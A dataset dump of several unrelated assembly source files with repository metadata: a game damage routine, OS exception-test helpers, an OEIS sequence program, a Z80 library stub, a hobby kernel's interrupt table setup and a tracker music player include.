BNE nk_multiply ; loop until all tanks used
TAX ; temporary storage of damage multiplier
LDA $0000,y ; load base damage from pointer
TXY ; damage multiplier to parameter for multiplication
JSL $8082D6 ; multiply A*Y -> 32-bits starting at $05F1
LDX #$0005 ; number of shifts (5 == divide by 2^5 == 32)
div_shift:
ROR $05F3 ; rotate a bit from hi to lo damage
ROR $05F1
DEX ; bit shifted
BNE div_shift ; loop until all bits shifted
; first overflow check is just added safety, so that $12000 causes a crash,
; even though $2000 is acceptable value for lo damage.
LDA $05F3 ; load hi damage
AND #$07FF ; clear fractional bits that were rotated in
BNE damage_overflow ; not zero: too much damage
LDA $05F1 ; load lo damage
BMI damage_overflow ; redundant check -> obvious crash point
PLY
PLX
RTS
damage_overflow:
JMP damage_overflow ; freeze here so failure is obvious in the debugger
| 33.537572 | 81 | 0.639262 |
1d8fb946219fc71c3e62cc3fbbf4322a23550821 | 245 | asm | Assembly | Userland/SampleCodeModule/asm/exceptions.asm | salCas276/OS-pure64 | e7ccb8ba1fc4fa5c93e580cdeeb4bb0d9dca9b0c | [
"BSD-3-Clause"
] | null | null | null | Userland/SampleCodeModule/asm/exceptions.asm | salCas276/OS-pure64 | e7ccb8ba1fc4fa5c93e580cdeeb4bb0d9dca9b0c | [
"BSD-3-Clause"
] | 17 | 2021-10-30T23:38:06.000Z | 2021-11-03T02:03:09.000Z | Userland/SampleCodeModule/asm/exceptions.asm | BraveJero/bareOS | b1f3634a219cb2dddcc3c1b238541304361ce8dc | [
"BSD-3-Clause"
] | 3 | 2021-08-23T22:14:23.000Z | 2021-09-18T03:41:19.000Z | GLOBAL throwInvalidOpcodeException
GLOBAL throwDivisionByZeroException
throwInvalidOpcodeException:
ud2 ; Undefined instruction: raises invalid opcode
ret
throwDivisionByZeroException:
mov rax, 0xFF
mov cl, 0
div cl
ret | 20.416667 | 54 | 0.779592 |
d0697ca4a05e95eb050b454e3392300af59e5376 | 439 | asm | Assembly | programs/oeis/089/A089061.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/089/A089061.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/089/A089061.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | ; A089061: a(0) = 5, a(1) = 7; for n>1, a(n) = a(n-1)+a(n-2)-(2n-2).
; 5,7,10,13,17,22,29,39,54,77,113,170,261,407,642,1021,1633,2622,4221,6807,10990,17757,28705,46418,75077,121447,196474,317869,514289,832102,1346333,2178375,3524646,5702957,9227537,14930426,24157893
mov $1,1
mov $4,$0
lpb $0,1
sub $0,1
add $3,1
mov $2,$3
mov $3,$1
add $1,$2
lpe
mov $1,1
trn $2,1
add $2,3
add $1,$2
lpb $4,1
add $1,2
sub $4,1
lpe
add $1,1
| 19.954545 | 197 | 0.624146 |
65a84df642868e2078eb631d4fafce3b7ef0c723 | 192 | asm | Assembly | libsrc/z80_crt0s/z80/sccz80/l_jpiy.asm | jpoikela/z88dk | 7108b2d7e3a98a77de99b30c9a7c9199da9c75cb | [
"ClArtistic"
] | 38 | 2021-06-18T12:56:15.000Z | 2022-03-12T20:38:40.000Z | libsrc/z80_crt0s/z80/sccz80/l_jpiy.asm | jpoikela/z88dk | 7108b2d7e3a98a77de99b30c9a7c9199da9c75cb | [
"ClArtistic"
] | 2 | 2021-06-20T16:28:12.000Z | 2021-11-17T21:33:56.000Z | libsrc/z80_crt0s/z80/sccz80/l_jpiy.asm | jpoikela/z88dk | 7108b2d7e3a98a77de99b30c9a7c9199da9c75cb | [
"ClArtistic"
] | 6 | 2021-06-18T18:18:36.000Z | 2021-12-22T08:01:32.000Z | ; 05.2005 aralbrec
; 'call JPIY' shows up so often that a jp(iy) function
; needs to be part of the z80 library.
SECTION code_crt0_sccz80
PUBLIC l_jpiy
.l_jpiy
jp (iy)
| 17.454545 | 54 | 0.65625 |
a2b34d7961cb6c73b88695f9b72465a5dac61c4d | 1,035 | asm | Assembly | programs/vesachk2.asm | informer2016/MichalOS | bfa2b660e8a2e4143c94891ad44f724e9fa3f117 | [
"BSD-3-Clause-No-Nuclear-License-2014",
"BSD-3-Clause"
] | null | null | null | programs/vesachk2.asm | informer2016/MichalOS | bfa2b660e8a2e4143c94891ad44f724e9fa3f117 | [
"BSD-3-Clause-No-Nuclear-License-2014",
"BSD-3-Clause"
] | null | null | null | programs/vesachk2.asm | informer2016/MichalOS | bfa2b660e8a2e4143c94891ad44f724e9fa3f117 | [
"BSD-3-Clause-No-Nuclear-License-2014",
"BSD-3-Clause"
] | null | null | null | ; ------------------------------------------------------------------
; MichalOS VESA mode checker
; ------------------------------------------------------------------
BITS 16
%INCLUDE "michalos.inc"
ORG 100h
start:
mov di, 800h ; 2kB after the program loads
call os_vesa_scan
mov bx, 4000h
mov ax, [di + 2] ; Get the screen width...
call os_int_to_string
call copy_string
call put_space
mov ax, [di + 4] ; ...then the height...
call os_int_to_string
call copy_string
call put_space
mov ah, 0
mov al, [di + 6] ; ...and finally the color depth
call os_int_to_string
call copy_string
call put_space
call put_comma
ret
.loadsgmt dw 2000h
put_comma:
mov byte [bx], ','
inc bx
ret
put_space:
mov byte [bx], ' '
inc bx
ret
copy_string: ; AX/BX = source/destination
pusha
mov si, ax
mov di, bx
.loop:
lodsb
cmp al, 0
je .exit
stosb ; Don't terminate the destination string with a 0!
jmp .loop
.exit:
mov [.tmp_word], di
popa
mov bx, [.tmp_word]
ret
.tmp_word dw 0 | 15.681818 | 68 | 0.577778 |
f4574796396bd869c86e8bdf40a26b6e80bc7beb | 1,479 | asm | Assembly | cc4x86/tests/regressive/asm_listings/shl_shr__optimize.asm | artyompal/C-compiler | 0c13e96b926d4c3282be8e9629cbc7ba439ea2d4 | [
"MIT"
] | 4 | 2017-03-19T20:10:55.000Z | 2022-01-20T08:34:25.000Z | cc4x86/tests/regressive/asm_listings/shl_shr__optimize_noinline.asm | artyompal/C-compiler | 0c13e96b926d4c3282be8e9629cbc7ba439ea2d4 | [
"MIT"
] | null | null | null | cc4x86/tests/regressive/asm_listings/shl_shr__optimize_noinline.asm | artyompal/C-compiler | 0c13e96b926d4c3282be8e9629cbc7ba439ea2d4 | [
"MIT"
] | null | null | null |
.686
.model flat
.xmm
.code
_test proc
push ebp
mov ebp,esp
sub esp,8
mov eax,-16
sar eax,4
cmp eax,-1
je label0000
mov eax,1
add esp,8
pop ebp
ret
label0000:
mov eax,-16
shr eax,4
cmp eax,268435455
je label0001
mov eax,2
add esp,8
pop ebp
ret
label0001:
mov eax,1073741824
sal eax,1
cmp eax,0
jl label0002
mov eax,3
add esp,8
pop ebp
ret
label0002:
mov eax,1073741824
shl eax,1
cmp eax,-2147483648
je label0003
mov eax,4
add esp,8
pop ebp
ret
label0003:
mov ecx,3
inc ecx
mov eax,1
shl eax,cl
cmp eax,16
je label0004
mov eax,5
add esp,8
pop ebp
ret
label0004:
mov ecx,5
inc ecx
mov eax,1
sal eax,cl
cmp eax,64
je label0005
mov eax,6
add esp,8
pop ebp
ret
label0005:
mov eax,0
add esp,8
pop ebp
ret
_test endp
end
| 19.207792 | 32 | 0.363083 |
266b28aad37dacc4b11a9bfc5cb50bc9e11b6e6a | 373 | asm | Assembly | programs/oeis/063/A063214.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | 1 | 2021-03-15T11:38:20.000Z | 2021-03-15T11:38:20.000Z | programs/oeis/063/A063214.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | null | null | null | programs/oeis/063/A063214.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | null | null | null | ; A063214: Dimension of the space of weight 2n cuspidal newforms for Gamma_0( 46 ).
; 1,6,10,12,16,22,22,28,32,34,38,44,44,50,54,56,60,66,66,72,76,78,82,88,88,94,98,100,104,110,110,116,120,122,126,132,132,138,142,144,148,154,154,160,164,166,170,176,176,182
mov $2,$0
mul $0,2
lpb $0
sub $0,1
trn $0,2
add $2,5
div $2,2
mul $2,2
mov $1,$2
lpe
trn $1,1
add $1,1
| 23.3125 | 172 | 0.648794 |
26c3f2fa0691e7012137a9bf0f0ff29d4ad69d24 | 18,904 | asm | Assembly | kernel/idt.asm | iocoder/upcr | 3de4cb76177b4fee5403c8630acf8c7ffac515d1 | [
"MIT"
] | null | null | null | kernel/idt.asm | iocoder/upcr | 3de4cb76177b4fee5403c8630acf8c7ffac515d1 | [
"MIT"
] | null | null | null | kernel/idt.asm | iocoder/upcr | 3de4cb76177b4fee5403c8630acf8c7ffac515d1 | [
"MIT"
] | null | null | null | ;###############################################################################
;# FILE NAME: KERNEL/IDT.ASM
;# DESCRIPTION: KERNEL INTERRUPT DESCRIPTOR TABLE
;# AUTHOR: RAMSES A.
;###############################################################################
;#
;# UPCR OPERATING SYSTEM FOR X86_64 ARCHITECTURE
;# COPYRIGHT (C) 2021 RAMSES A.
;#
;# PERMISSION IS HEREBY GRANTED, FREE OF CHARGE, TO ANY PERSON OBTAINING A COPY
;# OF THIS SOFTWARE AND ASSOCIATED DOCUMENTATION FILES (THE "SOFTWARE"), TO DEAL
;# IN THE SOFTWARE WITHOUT RESTRICTION, INCLUDING WITHOUT LIMITATION THE RIGHTS
;# TO USE, COPY, MODIFY, MERGE, PUBLISH, DISTRIBUTE, SUBLICENSE, AND/OR SELL
;# COPIES OF THE SOFTWARE, AND TO PERMIT PERSONS TO WHOM THE SOFTWARE IS
;# FURNISHED TO DO SO, SUBJECT TO THE FOLLOWING CONDITIONS:
;#
;# THE ABOVE COPYRIGHT NOTICE AND THIS PERMISSION NOTICE SHALL BE INCLUDED IN ALL
;# COPIES OR SUBSTANTIAL PORTIONS OF THE SOFTWARE.
;#
;###############################################################################
;#
;# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
;# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
;# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
;# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
;# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
;# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
;# SOFTWARE.
;#
;###############################################################################
;###############################################################################
;# INCLUDES #
;###############################################################################
;# COMMON DEFINITIONS USED BY KERNEL
INCLUDE "kernel/macro.inc"
;###############################################################################
;# GLOBALS #
;###############################################################################
;# GLOBAL SYMBOLS
PUBLIC KIDTINIT
;###############################################################################
;# MACROS #
;###############################################################################
;# DPL LEVELS
EQU DPL0, 0x0000
EQU DPL1, 0x2000
EQU DPL2, 0x4000
EQU DPL3, 0x6000
;# GATE TYPES
EQU TYPE_CALL, 0x0C00 ;# NOT EVEN IN IDT
EQU TYPE_INTR, 0x0E00 ;# DISABLES INTERRUPTS
EQU TYPE_TRAP, 0x0F00 ;# DOES NOT DISABLE INTERRUPTS
;# PRESENT FIELD
EQU PRESENT, 0x8000
;# GATE SIZE
EQU GATE_SIZE, 0x100
;###############################################################################
;# TEXT SECTION #
;###############################################################################
;# TEXT SECTION
SEGMENT ".text"
;#-----------------------------------------------------------------------------#
;# EXCEPTION GATES #
;#-----------------------------------------------------------------------------#
;# MACRO TO PUSH A DUMMY ERROR CODE IF NEEDED
MACRO PUSHE DummyErr
IF \DummyErr
PUSH 0x00
ENDIF
ENDM
;# MACRO TO POP A DUMMY ERROR CODE IF NEEDED
MACRO POPE DummyErr
IF \DummyErr
ADD RSP, 8
ENDIF
ENDM
;# MACRO TO HALT THE KERNEL IN CASE OF DPL ERROR
MACRO CHKDPL CheckDPL
IF \CheckDPL
MOV RAX, [RSP+SFRAME_CS] ;# LOAD ORIGIN'S CS
AND RAX, 3 ;# MASK DPL BITS
JZ KERRPANIC ;# PANIC IF DPL IS 0
ENDIF
ENDM
;# TEMPLATE MACRO FOR ALL IDT GATES
MACRO GATE Handler, ExpNbr, DummyErr, CheckDPL
ALIGN GATE_SIZE
PUSHE \DummyErr ;# PUSH DUMMY ERROR IF NEEDED
PUSH \ExpNbr ;# PUSH EXCEPTION NUMBER
PUSH R15 ;# PUSH A COPY OF R15
PUSH R14 ;# PUSH A COPY OF R14
PUSH R13 ;# PUSH A COPY OF R13
PUSH R12 ;# PUSH A COPY OF R12
PUSH R11 ;# PUSH A COPY OF R11
PUSH R10 ;# PUSH A COPY OF R10
PUSH R9 ;# PUSH A COPY OF R9
PUSH R8 ;# PUSH A COPY OF R8
PUSH RBP ;# PUSH A COPY OF RBP
PUSH RDI ;# PUSH A COPY OF RDI
PUSH RSI ;# PUSH A COPY OF RSI
PUSH RDX ;# PUSH A COPY OF RDX
PUSH RCX ;# PUSH A COPY OF RCX
PUSH RBX ;# PUSH A COPY OF RBX
PUSH RAX ;# PUSH A COPY OF RAX
SUB RSP, 0x50 ;# PUSH PADDING
CHKDPL \CheckDPL ;# CHECK DPL IF NEEDED
MOV RDI, RSP ;# STORE FRAME BASE
CALL \Handler ;# HANDLE INTERRUPT
ADD RSP, 0x50 ;# POP PADDING
POP RAX ;# POP A COPY OF RAX
POP RBX ;# POP A COPY OF RBX
POP RCX ;# POP A COPY OF RCX
POP RDX ;# POP A COPY OF RDX
POP RSI ;# POP A COPY OF RSI
POP RDI ;# POP A COPY OF RDI
POP RBP ;# POP A COPY OF RBP
POP R8 ;# POP A COPY OF R8
POP R9 ;# POP A COPY OF R9
POP R10 ;# POP A COPY OF R10
POP R11 ;# POP A COPY OF R11
POP R12 ;# POP A COPY OF R12
POP R13 ;# POP A COPY OF R13
POP R14 ;# POP A COPY OF R14
POP R15 ;# POP A COPY OF R15
ADD RSP, 8 ;# POP EXCEPTION NUMBER
POPE \DummyErr ;# POP DUMMY ERROR IF NEEDED
IRETQ ;# RETURN FROM EXCEPTION
ALIGN GATE_SIZE
ENDM
;#-----------------------------------------------------------------------------#
;# IDT GATES #
;#-----------------------------------------------------------------------------#
;# ALIGN TO 256-BYTE BORDER
ALIGN GATE_SIZE
KIDTEXPS: ;# EXCEPTION GATES (TRIGGERED BY CPU)
GATE KIDTEXP, 0x00, 1, 1
GATE KIDTEXP, 0x01, 1, 1
GATE KIDTEXP, 0x02, 1, 1
GATE KIDTEXP, 0x03, 1, 1
GATE KIDTEXP, 0x04, 1, 1
GATE KIDTEXP, 0x05, 1, 1
GATE KIDTEXP, 0x06, 1, 1
GATE KIDTEXP, 0x07, 1, 1
GATE KIDTEXP, 0x08, 0, 1
GATE KIDTEXP, 0x09, 0, 1
GATE KIDTEXP, 0x0A, 0, 1
GATE KIDTEXP, 0x0B, 0, 1
GATE KIDTEXP, 0x0C, 0, 1
GATE KIDTEXP, 0x0D, 0, 1
GATE KIDTEXP, 0x0E, 0, 1
GATE KIDTEXP, 0x0F, 0, 1
GATE KIDTEXP, 0x10, 1, 1
GATE KIDTEXP, 0x11, 0, 1
GATE KIDTEXP, 0x12, 1, 1
GATE KIDTEXP, 0x13, 1, 1
GATE KIDTEXP, 0x14, 0, 1
GATE KIDTEXP, 0x15, 0, 1
GATE KIDTEXP, 0x16, 0, 1
GATE KIDTEXP, 0x17, 0, 1
GATE KIDTEXP, 0x18, 0, 1
GATE KIDTEXP, 0x19, 0, 1
GATE KIDTEXP, 0x1A, 0, 1
GATE KIDTEXP, 0x1B, 0, 1
GATE KIDTEXP, 0x1C, 0, 1
GATE KIDTEXP, 0x1D, 0, 1
GATE KIDTEXP, 0x1E, 0, 1
GATE KIDTEXP, 0x1F, 0, 1
KIDTSVCS: ;# SVC GATES (TRIGGERED BY PROGRAM)
GATE KIDTSVC, 0x20, 1, 0
KIDTSMPS: ;# SMP GATES (TRIGGERED BY KERNEL)
GATE KIDTSMP, 0x21, 1, 0
KIDTIRQS: ;# IRQ GATES (TRIGGERED BY LAPIC)
GATE KIDTIRQ, 0x22, 1, 0
GATE KIDTIRQ, 0x23, 1, 0
GATE KIDTIRQ, 0x24, 1, 0
GATE KIDTIRQ, 0x25, 1, 0
GATE KIDTIRQ, 0x26, 1, 0
GATE KIDTIRQ, 0x27, 1, 0
GATE KIDTIRQ, 0x28, 1, 0
GATE KIDTIRQ, 0x29, 1, 0
GATE KIDTIRQ, 0x2A, 1, 0
GATE KIDTIRQ, 0x2B, 1, 0
GATE KIDTIRQ, 0x2C, 1, 0
GATE KIDTIRQ, 0x2D, 1, 0
GATE KIDTIRQ, 0x2E, 1, 0
GATE KIDTIRQ, 0x2F, 1, 0
GATE KIDTIRQ, 0x30, 1, 0
GATE KIDTIRQ, 0x31, 1, 0
GATE KIDTIRQ, 0x32, 1, 0
GATE KIDTIRQ, 0x33, 1, 0
GATE KIDTIRQ, 0x34, 1, 0
GATE KIDTIRQ, 0x35, 1, 0
GATE KIDTIRQ, 0x36, 1, 0
GATE KIDTIRQ, 0x37, 1, 0
GATE KIDTIRQ, 0x38, 1, 0
GATE KIDTIRQ, 0x39, 1, 0
GATE KIDTIRQ, 0x3A, 1, 0
GATE KIDTIRQ, 0x3B, 1, 0
GATE KIDTIRQ, 0x3C, 1, 0
GATE KIDTIRQ, 0x3D, 1, 0
GATE KIDTIRQ, 0x3E, 1, 0
GATE KIDTIRQ, 0x3F, 1, 0
;#-----------------------------------------------------------------------------#
;# KIDTINIT() #
;#-----------------------------------------------------------------------------#
KIDTINIT: ;# PRINT INIT MSG
LEA RDI, [RIP+KIDTNAME]
CALL KCONMOD
LEA RDI, [RIP+KIDTMSG]
CALL KCONSTR
MOV RDI, '\n'
CALL KCONCHR
;# INITIALIZE IDT EXCEPTION ENTRIES
;# RDI: ADDRESS OF FIRST IDT DESCRIPTOR TO FILL
;# RCX: ADDRESS OF THE IDT DESCRIPTOR TO STOP AT
;# RSI: ADDRESS OF KIDTEXPS
MOV RDI, MEM_IDT_TABLE
MOV RCX, MEM_IDT_TABLE
ADD RDI, IVT_EXP_START*16
ADD RCX, IVT_EXP_START*16+IVT_EXP_COUNT*16
LEA RSI, [RIP+KIDTEXPS]
;# STORE AN IDT DESCRIPTOR USING GATE ADDRESS IN RAX
1: MOV RAX, RSI
MOV [RDI+ 0], AX
MOV AX, 0x20
MOV [RDI+ 2], AX
MOV AX, TYPE_INTR|PRESENT|DPL0
MOV [RDI+ 4], AX
SHR RAX, 16
MOV [RDI+ 6], AX
SHR RAX, 16
MOV [RDI+ 8], EAX
MOV EAX, 0
MOV [RDI+12], EAX
;# UPDATE RAX TO NEXT GATE ADDRESS, RDI TO NEXT DESCRIPTOR
ADD RSI, GATE_SIZE
ADD RDI, 16
;# DONE YET?
CMP RCX, RDI
JNZ 1b
;# INITIALIZE IDT SVC ENTRIES
;# RDI: ADDRESS OF FIRST IDT DESCRIPTOR TO FILL
;# RCX: ADDRESS OF THE IDT DESCRIPTOR TO STOP AT
;# RSI: ADDRESS OF KIDTSVCS
MOV RDI, MEM_IDT_TABLE
MOV RCX, MEM_IDT_TABLE
ADD RDI, IVT_SVC_START*16
ADD RCX, IVT_SVC_START*16+IVT_SVC_COUNT*16
LEA RSI, [RIP+KIDTSVCS]
;# STORE AN IDT DESCRIPTOR USING GATE ADDRESS IN RAX
1: MOV RAX, RSI
MOV [RDI+ 0], AX
MOV AX, 0x20
MOV [RDI+ 2], AX
MOV AX, TYPE_INTR|PRESENT|DPL3
MOV [RDI+ 4], AX
SHR RAX, 16
MOV [RDI+ 6], AX
SHR RAX, 16
MOV [RDI+ 8], EAX
MOV EAX, 0
MOV [RDI+12], EAX
;# UPDATE RAX TO NEXT GATE ADDRESS, RDI TO NEXT DESCRIPTOR
ADD RSI, GATE_SIZE
ADD RDI, 16
;# DONE YET?
CMP RCX, RDI
JNZ 1b
;# INITIALIZE IDT SMP ENTRIES
;# RDI: ADDRESS OF FIRST IDT DESCRIPTOR TO FILL
;# RCX: ADDRESS OF THE IDT DESCRIPTOR TO STOP AT
;# RSI: ADDRESS OF KIDTSMPS
MOV RDI, MEM_IDT_TABLE
MOV RCX, MEM_IDT_TABLE
ADD RDI, IVT_SMP_START*16
ADD RCX, IVT_SMP_START*16+IVT_SMP_COUNT*16
LEA RSI, [RIP+KIDTSMPS]
;# STORE AN IDT DESCRIPTOR USING GATE ADDRESS IN RAX
1: MOV RAX, RSI
MOV [RDI+ 0], AX
MOV AX, 0x20
MOV [RDI+ 2], AX
MOV AX, TYPE_INTR|PRESENT|DPL0
MOV [RDI+ 4], AX
SHR RAX, 16
MOV [RDI+ 6], AX
SHR RAX, 16
MOV [RDI+ 8], EAX
MOV EAX, 0
MOV [RDI+12], EAX
;# UPDATE RAX TO NEXT GATE ADDRESS, RDI TO NEXT DESCRIPTOR
ADD RSI, GATE_SIZE
ADD RDI, 16
;# DONE YET?
CMP RCX, RDI
JNZ 1b
;# INITIALIZE IDT IRQ ENTRIES
;# RDI: ADDRESS OF FIRST IDT DESCRIPTOR TO FILL
;# RCX: ADDRESS OF THE IDT DESCRIPTOR TO STOP AT
;# RSI: ADDRESS OF KIDTIRQS
MOV RDI, MEM_IDT_TABLE
MOV RCX, MEM_IDT_TABLE
ADD RDI, IVT_IRQ_START*16
ADD RCX, IVT_IRQ_START*16+IVT_IRQ_COUNT*16
LEA RSI, [RIP+KIDTIRQS]
;# STORE AN IDT DESCRIPTOR USING GATE ADDRESS IN RAX
1: MOV RAX, RSI
MOV [RDI+ 0], AX
MOV AX, 0x20
MOV [RDI+ 2], AX
MOV AX, TYPE_INTR|PRESENT|DPL0
MOV [RDI+ 4], AX
SHR RAX, 16
MOV [RDI+ 6], AX
SHR RAX, 16
MOV [RDI+ 8], EAX
MOV EAX, 0
MOV [RDI+12], EAX
;# UPDATE RAX TO NEXT GATE ADDRESS, RDI TO NEXT DESCRIPTOR
ADD RSI, GATE_SIZE
ADD RDI, 16
;# DONE YET?
CMP RCX, RDI
JNZ 1b
;# INITIALIZE IDTR DESCRIPTOR
MOV AX, 0xFFF
MOV [MEM_IDTR+0], AX
MOV EAX, MEM_IDT_TABLE
MOV [MEM_IDTR+2], EAX
;# LOAD IDT TABLE
LIDT [MEM_IDTR]
;# DONE
3: XOR RAX, RAX
RET
;#-----------------------------------------------------------------------------#
;# KIDTEXP() #
;#-----------------------------------------------------------------------------#
KIDTEXP: ;# ACQUIRE KERNEL LOCK
PUSH RDI
CALL KLOCPEND
POP RDI
;# INFINTE LOOP (TODO: KSCHISR/KTSKISR/KSIGISR)
JMP .
;# RELEASE THE LOCK
PUSH RDI
CALL KLOCPOST
POP RDI
;# DONE
XOR RAX, RAX
RET
;#-----------------------------------------------------------------------------#
;# KIDTSVC() #
;#-----------------------------------------------------------------------------#
KIDTSVC: ;# ACQUIRE KERNEL LOCK
PUSH RDI
CALL KLOCPEND
POP RDI
;# INFINTE LOOP (TODO: KSVCISR)
JMP .
;# RELEASE THE LOCK
PUSH RDI
CALL KLOCPOST
POP RDI
;# DONE
XOR RAX, RAX
RET
;#-----------------------------------------------------------------------------#
;# KIDTSMP() #
;#-----------------------------------------------------------------------------#
KIDTSMP: ;# ACQUIRE KERNEL LOCK
PUSH RDI
CALL KLOCPEND
POP RDI
;# ENABLE SMP CORE
PUSH RDI
CALL KSMPISR
POP RDI
;# RELEASE THE LOCK
PUSH RDI
CALL KLOCPOST
POP RDI
;# DONE
XOR RAX, RAX
RET
;#-----------------------------------------------------------------------------#
;# KIDTIRQ() #
;#-----------------------------------------------------------------------------#
KIDTIRQ: ;# ACQUIRE KERNEL LOCK
PUSH RDI
CALL KLOCPEND
POP RDI
;# CALL IRQ MODULE ISR
CALL KIRQISR
;# RELEASE THE LOCK
PUSH RDI
CALL KLOCPOST
POP RDI
;# DONE
XOR RAX, RAX
RET
;###############################################################################
;# DATA SECTION #
;###############################################################################
;# DATA SECTION
SEGMENT ".data"
;#-----------------------------------------------------------------------------#
;# LOGGING STRINGS #
;#-----------------------------------------------------------------------------#
;# IDT HEADING AND ASCII STRINGS
KIDTNAME: DB "KERNEL IDT\0"
KIDTMSG: DB "INITIALIZING IDT MODULE...\0"
| 39.465553 | 81 | 0.354846 |
f86988ca1aef5c5d0224b585bbbd149da23299c1 | 214 | asm | Assembly | mc-sema/validator/x86_64/tests/SHL8rCL.asm | randolphwong/mcsema | eb5b376736e7f57ff0a61f7e4e5a436bbb874720 | [
"BSD-3-Clause"
] | 2 | 2021-08-07T16:21:29.000Z | 2021-11-17T10:58:37.000Z | mc-sema/validator/x86_64/tests/SHL8rCL.asm | randolphwong/mcsema | eb5b376736e7f57ff0a61f7e4e5a436bbb874720 | [
"BSD-3-Clause"
] | null | null | null | mc-sema/validator/x86_64/tests/SHL8rCL.asm | randolphwong/mcsema | eb5b376736e7f57ff0a61f7e4e5a436bbb874720 | [
"BSD-3-Clause"
] | null | null | null | BITS 64
;TEST_FILE_META_BEGIN
;TEST_TYPE=TEST_F
;TEST_IGNOREFLAGS=FLAG_AF|FLAG_OF
;TEST_FILE_META_END
; SHL8rCL
mov bh, 0xa
mov cl, 0x3
;TEST_BEGIN_RECORDING
shl bh, cl
;TEST_END_RECORDING
| 16.461538 | 33 | 0.733645 |
65ddbba8e79a2df7346d11e83a76977bc35fd322 | 20,714 | asm | Assembly | sound/PlayerAkg_SoundEffects.asm | SaffronCR/msx-rpg | 5bb63e2f545b0a3c82bbda3f9ec399da6c485b0e | [
"BSD-3-Clause"
] | 40 | 2019-07-19T17:27:10.000Z | 2022-02-21T17:49:11.000Z | sound/PlayerAkg_SoundEffects.asm | SaffronCR/msx-rpg | 5bb63e2f545b0a3c82bbda3f9ec399da6c485b0e | [
"BSD-3-Clause"
] | 2 | 2020-07-05T19:21:27.000Z | 2020-07-05T19:31:02.000Z | sound/PlayerAkg_SoundEffects.asm | SaffronCR/msx-rpg | 5bb63e2f545b0a3c82bbda3f9ec399da6c485b0e | [
"BSD-3-Clause"
] | 3 | 2019-07-23T10:27:32.000Z | 2020-10-28T18:35:27.000Z | ; Player of sound effects, for AKG (Generic) the player, format V2 (including speed).
; This file is meant to be included to the AKG player, do not use it stand-alone.
; If you want sound effects without music, there is a specific player for that.
;Is there a loaded Player Configuration source? If no, use a default configuration.
IFNDEF PLY_CFG_SFX_ConfigurationIsPresent
PLY_CFG_UseHardwareSounds = 1
PLY_CFG_SFX_LoopTo = 1
PLY_CFG_SFX_NoSoftNoHard = 1
PLY_CFG_SFX_NoSoftNoHard_Noise = 1
PLY_CFG_SFX_SoftOnly = 1
PLY_CFG_SFX_SoftOnly_Noise = 1
PLY_CFG_SFX_HardOnly = 1
PLY_CFG_SFX_HardOnly_Noise = 1
PLY_CFG_SFX_HardOnly_Retrig = 1
PLY_CFG_SFX_SoftAndHard = 1
PLY_CFG_SFX_SoftAndHard_Noise = 1
PLY_CFG_SFX_SoftAndHard_Retrig = 1
ENDIF
; Agglomerates some Player Configuration flags.
; --------------------------------------------
; Mixes the Hardware flags into one.
IFDEF PLY_CFG_SFX_HardOnly
PLY_AKG_SE_HardwareSounds = 1
ENDIF
IFDEF PLY_CFG_SFX_SoftAndHard
PLY_AKG_SE_HardwareSounds = 1
ENDIF
; Mixes the Hardware Noise flags into one.
IFDEF PLY_CFG_SFX_HardOnly_Noise
PLY_AKG_SE_HardwareNoise = 1
ENDIF
IFDEF PLY_CFG_SFX_SoftAndHard_Noise
PLY_AKG_SE_HardwareNoise = 1
ENDIF
; Mixes the Noise flags into one.
IFDEF PLY_AKG_SE_HardwareNoise
PLY_AKG_SE_Noise = 1
ENDIF
IFDEF PLY_CFG_SFX_NoSoftNoHard_Noise
PLY_AKG_SE_Noise = 1
ENDIF
IFDEF PLY_CFG_SFX_SoftOnly
PLY_AKG_SE_Noise = 1
ENDIF
; If Noise, the R6 code in the music player must be compiled.
IFDEF PLY_AKG_SE_Noise
PLY_AKG_Use_NoiseRegister = 1
ENDIF
; Mixes the Software Volume flags into one.
IFDEF PLY_CFG_SFX_NoSoftNoHard
PLY_AKG_SE_VolumeSoft = 1
PLY_AKG_SE_VolumeSoftOrHard = 1
ENDIF
IFDEF PLY_CFG_SFX_SoftOnly
PLY_AKG_SE_VolumeSoft = 1
PLY_AKG_SE_VolumeSoftOrHard = 1
ENDIF
; Mixes the volume (soft/hard) into one.
IFDEF PLY_CFG_UseHardwareSounds
PLY_AKG_SE_VolumeSoftOrHard = 1
ENDIF
; Mixes the retrig flags into one.
IFDEF PLY_CFG_SFX_HardOnly_Retrig
PLY_AKG_SE_Retrig = 1
ENDIF
IFDEF PLY_CFG_SFX_SoftAndHard_Retrig
PLY_AKG_SE_Retrig = 1
ENDIF
;Disark macro: Word region Start.
disarkCounter = 0
IFNDEF dkws
MACRO dkws
PLY_AKG_DisarkWordRegionStart_{disarkCounter}
ENDM
ENDIF
;Disark macro: Word region End.
IFNDEF dkwe
MACRO dkwe
PLY_AKG_DisarkWordRegionEnd_{disarkCounter}:
disarkCounter = disarkCounter + 1
ENDM
ENDIF
;Disark macro: Pointer region Start.
disarkCounter = 0
IFNDEF dkps
MACRO dkps
PLY_AKG_DisarkPointerRegionStart_{disarkCounter}
ENDM
ENDIF
;Disark macro: Pointer region End.
IFNDEF dkpe
MACRO dkpe
PLY_AKG_DisarkPointerRegionEnd_{disarkCounter}:
disarkCounter = disarkCounter + 1
ENDM
ENDIF
;Disark macro: Byte region Start.
disarkCounter = 0
IFNDEF dkbs
MACRO dkbs
PLY_AKG_DisarkByteRegionStart_{disarkCounter}
ENDM
ENDIF
;Disark macro: Byte region End.
IFNDEF dkbe
MACRO dkbe
